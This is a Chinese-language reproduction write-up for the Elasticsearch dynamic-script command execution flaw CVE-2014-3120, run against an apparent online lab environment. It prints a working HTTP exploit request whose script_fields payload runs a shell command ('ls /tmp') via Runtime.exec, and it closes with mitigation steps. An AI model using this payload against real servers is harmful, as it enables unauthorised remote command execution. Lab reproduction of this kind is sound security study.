ElasticSearch命令执行漏洞(CVE-2014-3120)

ElasticSearch命令执行漏洞(CVE-2014-3120)

漏洞介绍:

Elasticsearch 是一个基于 Lucene 库的搜索引擎,具有 HTTP Web 接口和无模式 JSON 文档。Elasticsearch 是用 Java 开发的,其支持 MVEL、js、Java 等语言,其老版本默认语言为 MVEL。

MVEL :一个被众多 Java 项目使用的开源的表达式语言。

Elasticsearch 1.2之前的版本默认配置启用了动态脚本,该脚本允许远程攻击者通过 _search 的 source 参数执行任意 MVEL 表达式和 Java 代码。

影响版本:

Elasticsearch < 1.2

环境搭建:

在线环境

漏洞复现:

访问首页,可以看到版本号

ElasticSearch命令执行漏洞(CVE-2014-3120)_第1张图片

burp进行抓包,使用特定的请求包向 Elasticsearch 添加一条数据,请求包:

POST /website/blog/ HTTP/1.1
Host: vulfocus.fofa.so:8374
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1635834194,1635834251; grafana_session=4ed2fe8aecc214c9bbb634d8399014fb; redirect_to=%2Flogin%2Fpublic%2Fplugins%2Fa%2Fa
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 30

{
  "name": "vulfocus"
}

ElasticSearch命令执行漏洞(CVE-2014-3120)_第2张图片 

ElasticSearch命令执行漏洞(CVE-2014-3120)_第3张图片

返回201,说明添加数据成功

执行 Java 木马,此字段会被默认当作脚本执行,按照其 json 格式向其填充要执行的代码即可
漏洞利用的请求包如下:

POST /_search?pretty HTTP/1.1
Host: vulfocus.fofa.so:8374
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1635834194,1635834251; grafana_session=4ed2fe8aecc214c9bbb634d8399014fb; redirect_to=%2Flogin%2Fpublic%2Fplugins%2Fa%2Fa
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 320

{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
	 "match_all": {
	 }
	}
       }
      },
      "script_fields": {
	  "command": {
		"script":
"import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"
	 }
     }
}

ElasticSearch命令执行漏洞(CVE-2014-3120)_第4张图片

成功读取到内容 

ElasticSearch命令执行漏洞(CVE-2014-3120)_第5张图片 漏洞修复:

 升级版本

在elasticsearch.yml里配置script.disable_dynamic: true

你可能感兴趣的:(漏洞,elasticsearch,安全)